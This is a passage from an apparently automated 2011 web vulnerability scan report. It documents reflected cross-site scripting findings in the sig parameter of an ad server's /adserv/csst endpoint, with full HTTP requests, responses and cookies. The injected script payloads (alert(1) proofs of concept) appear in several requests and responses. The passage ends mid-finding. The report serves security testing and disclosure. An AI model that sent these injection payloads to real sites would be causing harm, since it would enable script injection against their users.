Set-Cookie: adh=1lkkxr8160658j30136z01RxIURFlVp00ein64tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:50 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usp01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:50 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:50 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qo0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j3a0183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:50 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:50 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:50 GMT
Content-Length: 3562

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036230818;click0=http://ad.media6degrees.com/adserv/clk?tId=5001150400451945|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...
L3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1cad9a"><script>alert(1)</script>beea0f0ea41&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl=">
...[SNIP]...

4.107. http://ad.media6degrees.com/adserv/csst [sig parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the sig request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa9a2"><script>alert(1)</script>794bf7a2bfe was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5wfa9a2"><script>alert(1)</script>794bf7a2bfe&client=ca-pub-9914992914910847&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxNTRKib900ein94tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:53 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15uss01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:53 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:53 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qr0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j3d0183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:53 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:53 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:53 GMT
Content-Length: 3562

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036233370;click0=http://ad.media6degrees.com/adserv/clk?tId=5001492925392637|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...
yZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5wfa9a2"><script>alert(1)</script>794bf7a2bfe&client=ca-pub-9914992914910847&adurl=">
...[SNIP]...

4.108. http://ad.media6degrees.com/adserv/csst [sig parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the sig request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93566"><script>alert(1)</script>241cb499537 was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

